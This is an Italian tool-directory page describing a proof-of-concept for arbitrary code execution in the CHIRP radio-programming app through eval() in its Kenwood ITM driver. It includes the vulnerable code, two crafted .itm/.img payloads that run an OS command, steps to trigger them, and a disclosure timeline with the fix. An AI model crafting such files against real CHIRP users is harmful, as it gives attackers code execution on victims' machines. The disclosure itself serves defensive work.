Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CHIRP-CodeExecution_via_Malicious_ImageFile — Exploit proof-of-concept per l'esecuzione arbitraria di codice tramite iniezione di eval() in un'applicazione di programmazione per radioamatori, inclusi payload malevoli di file .itm/.img e analisi delle cause profonde. | Kitploit
Strumenti/GitHubGitHub/cduram/chirp-codeexecution_via_malicious_imagefile
Analisi delle VulnerabilitàExploitSviluppo Payload
GitHubcduram/chirp-codeexecution_via_malicious_imagefile

CHIRP-CodeExecution_via_Malicious_ImageFile

Exploit proof-of-concept per l'esecuzione arbitraria di codice tramite iniezione di eval() in un'applicazione di programmazione per radioamatori, inclusi payload malevoli di file .itm/.img e analisi delle cause profonde.

Vedi Repository
931 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CHIRP — Esecuzione di codice arbitrario tramite eval() nel driver Kenwood ITM

Prodotto: CHIRP - Un progetto open source per la programmazione di radio amatoriali.
Versioni interessate: URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Versioni interessate: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)


Panoramica

Il driver del formato file Kenwood ITM di CHIRP passa i valori grezzi dei campi CSV di un file aperto direttamente alla funzione integrata eval() di Python senza alcuna validazione. Un attaccante che consegna un file appositamente costruito a un utente di CHIRP ottiene l'esecuzione di codice arbitrario con i privilegi dell'utente vittima.

Causa principale

chirp/drivers/kenwood_itm.py, _clean_tmode(), righe 66–67:

def _clean_tmode(self, headers, line, mem):
    rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG"))  # SINK
    ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG"))  # SINK

I valori TXSIG e RXSIG provengono direttamente da una riga CSV del file aperto. Nessun controllo di tipo, allowlist o sandboxing viene applicato prima di eval().

POC

Di seguito sono riportati due POC.

.itm malevolo

// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0

.img malevolo

// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0

 chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==

Attivazione in CHIRP

  1. Avviare CHIRP.
  2. File → Open.
  3. Selezionare {file_name}.img. Se si utilizza il payload .itm, cambiare il menu a tendina del filtro su "All Files" (ITM non è filtrato in CHIRP).
  4. Selezionare {file_name}.itm.

Divulgazione

2026-8-17 -- Vulnerabilità scoperta
2026-8-17 -- E-mail inviata al manutentore
2026-8-17 -- Il manutentore ha risposto e il codice è stato corretto lo stesso giorno. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- La release dell'installer 20260821 include la correzione.
2026-8-22 -- Emesso NotCVE-2026-0013.
2026-8-23 -- Emesso CVE-2026-78136.

Scarica lo strumento